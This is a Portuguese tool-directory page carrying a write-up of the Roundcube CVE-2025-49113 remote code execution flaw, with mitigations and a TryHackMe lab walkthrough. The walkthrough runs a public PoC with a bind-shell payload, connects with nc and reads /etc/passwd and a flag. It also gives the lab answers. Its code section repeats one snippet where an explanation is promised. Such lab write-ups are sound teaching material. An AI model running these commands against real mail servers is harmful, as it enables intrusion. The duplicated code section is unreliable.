Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Roundcube_CVE-2025-49113 — Explicação + Lab no THM | Kitploit
Ferramentas/GitHubGitHub/5kr1pt/roundcube_cve-2025-49113
Análise de VulnerabilidadesExploraçãoShellcodeExploração de Aplicações WebCTFTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de PayloadsLabs e Prática
GitHub5kr1pt/roundcube_cve-2025-49113

Roundcube_CVE-2025-49113

Explicação + Lab no THM

há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório

RCE no Roundcube (CVE-2025-49113) - Minha anotação do Obsidian .md

{{date}} {{time}}

Status: Completed

Lab: Easy

Tags: [[RCE]] | [[PHP]] | [[LAB_THM]] | [[EXPLOIT]] | [[CVE]]

by KRPT Paulo G. Werneck - Linkedin - in.com/pgw-script


Impacto: execução remota de comandos pós-login (CVSS 9.9)
Versões afetadas: ≤ 1.5.10 / 1.6.10
Patched: 1.5.11 e 1.6.11


1 – Timeline

DataEvento
~2014Introdução da rota program/actions/settings/upload.php com uso de session->append() sem validação.
03 jun 2025Pesquisadores da @FearsOff publicam o advisory e anunciam PoC.
04 jun 2025Roundcube aplica commit 0376f69 (1.6-stable) e commit 7408f31 (1.5-lts).
06 jun 2025PoC publicada no github . (fearsoff-org/CVE-2025-49113)
10 jun 2025Exploração em massa.

2 – Onde estava o problema

Código vulnerável (1.6.10)

root@kitploit:~
// program/actions/settings/upload.php 
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);

// … mais abaixo
$rcmail->session->append($type . '.files', $id, $attachment);

A entrada _from chega completa do GET dps vira parte do nome de um nó na sessão e
durante o primeiro append(), o Roundcube faz:

root@kitploit:~
// program/actions/settings/upload.php

$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);

$type = preg_replace('/(add|edit)-/', '', $from);

// … mais abaixo

$rcmail->session->append($type . '.files', $id, $attachment);

Se o arquivo existir, o RCE funcionou.


3 – Mitigações

  1. Atualize imediatamente para ≥ 1.6.11 ou ≥ 1.5.11.

  2. Cao nao consiga atualizar, bloqueie qualquer _from contendo %22, %7C, !, . ou bytes de controle via WAF, firewall ou rewrite.

  3. Desative funções perigosas (proc_open, exec, etc.) em php.ini.

  4. Bloqueie uploads no painel de configurações e monitore logs.


4 - Lab - TryHackme - WriteUp

Free Room: https://tryhackme.com/room/roundcubecve202549113

Created by tryhackme & strategos

1. Recon

  1. Abrir a VM (MACHINE_IP) e o AttackBox.

  2. Acessar http://MACHINE_IP/roundcube com:

    usuário: ellieptic senha: ChangeMe123

    Isso vai funcionar e vai logar normalmente:

    Tela de login


2. Montar o exploit

Após verificar que está tudo up, vamos executar o exploit, para isso vamos acessar a PoC postada no github informada anteriormente e fazer um gitclone:

root@kitploit:~
mkdir tmp
cd tmp
git clone https://github.com/fearsoff-org/CVE-2025-49113
cd CVE-2025-49113

exploit


3. Preparar o payload

O uso do payload é simples, basta criar o bind shell e apontar para uma porta com o file .php seguindo o usage abaixo:

php CVE-2025-49113.php <site> <user> <senha> "<bind shell>"

php CVE-2025-49113.php http://MACHINE_IP/roundcube ellieptic ChangeMe123 "ncat -lvnp 1337 -e /bin/bash"

– O script faz login, injeta o objeto PHP malicioso no parâmetro _from, conforme falamos anteriormente, chama o endpoint upload.php e depois força logout para disparar
session_decode() → unserialize() → proc_open().

Às vezes ele mostra erro de CSRF; ignore e siga para o próximo passo,
porque o comando costuma ter sido executado mesmo assim.

exploit


4. Conectar na shell

Se a bind shell deu certo, ela ta escutando na porta 1337 que passamos, so fazermos a conexão nela agora:

nc MACHINE_IP 1337

Shell obtida.

shell


5. Respondendo as questões

Questões e respostas

  1. Usuário Maggie
    Pergunta: Um dos usuários tem o primeiro nome Maggie. Qual é o sobrenome dela?
    Resposta: Byte

Para resolver essa questão podiamos dar um cat em /etc/passwd grepando o usuário da maggie, ou simplesmente dando um lsem /home

1

  1. Flag em /etc
    Pergunta: Qual é o valor do sinalizador salvo em /etc?
    Resposta: THM{ICE_CUBE_DESERIALISATION}

Para resolver isso, dei um cat /etc/flag* e por sorte o nome do arquivo era flag e com isso conseguimos capturar.

2


5 – Referências

  • Commit 1.6.11 – https://github.com/roundcube/roundcubemail/commit/0376f69e958a8fef7f6f09e352c541b4e7729c4d

  • Commit 1.5.11 – https://github.com/roundcube/roundcubemail/commit/7408f31379666124a39f9cb1018f62bc5e2dc695

  • FearsOff write-up – https://fearsoff.org/research/roundcube

  • OffSec blog – https://www.offsec.com/blog/cve-2025-49113/ offsec.com

  • TryHackme - TryHackMe | Roundcube: CVE-2025-49113

  • GHSA advisory – https://github.com/advisories/GHSA-8j8w-wwqc-x596 github.com

Baixar ferramenta